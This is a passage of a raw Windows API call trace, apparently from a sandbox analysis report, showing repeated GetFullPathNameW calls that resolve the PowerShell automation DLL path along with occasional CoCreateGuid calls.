lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.833] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.833] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.833] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.833] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.833] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.836] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xdc5bb07c, Data2=0x834f, Data3=0x49e5, Data4=([0]=0x97, [1]=0x28, [2]=0x9c, [3]=0xb0, [4]=0x51, [5]=0x73, [6]=0xfd, [7]=0xfc))) returned 0x0 [0024.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc130, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.840] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x120d4503, Data2=0xf358, Data3=0x43f2, Data4=([0]=0xbd, [1]=0x91, [2]=0x64, [3]=0xe6, [4]=0x23, [5]=0xf8, [6]=0x52, [7]=0x1c))) returned 0x0 [0024.840] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.840] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xf1ef7417, Data2=0xdab9, Data3=0x40bd, Data4=([0]=0x93, [1]=0x32, [2]=0x2e, [3]=0xba, [4]=0x7e, [5]=0xbc, [6]=0xe, [7]=0xc7))) returned 0x0 [0024.840] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.840] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.840] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.843] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.843] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.843] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.843] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc130, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.843] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.844] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcbb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.848] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x1974101, Data2=0x35c4, Data3=0x4dcc, Data4=([0]=0xbd, [1]=0x8, [2]=0x51, [3]=0x33, [4]=0x30, [5]=0x3a, [6]=0x99, [7]=0xcb))) returned 0x0 [0024.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.849] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.849] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.849] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc120, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.850] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x9d671408, Data2=0x67fd, Data3=0x446e, Data4=([0]=0xa5, [1]=0x65, [2]=0x3b, [3]=0xef, [4]=0xa, [5]=0xad, [6]=0xe7, [7]=0x1f))) returned 0x0 [0024.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.850] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0xb99840ae, Data2=0x85f7, Data3=0x4b63, Data4=([0]=0xa4, [1]=0x78, [2]=0xae, [3]=0x0, [4]=0x1, [5]=0x4e, [6]=0xa2, [7]=0x2a))) returned 0x0 [0024.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.851] CoCreateGuid (in: pguid=0xccfb0 | out: pguid=0xccfb0*(Data1=0x27cddbc0, Data2=0x16c6, Data3=0x48fe, Data4=([0]=0xbc, [1]=0x57, [2]=0xc9, [3]=0x2f, [4]=0xf2, [5]=0x22, [6]=0x52, [7]=0x94))) returned 0x0 [0024.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0024.851] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 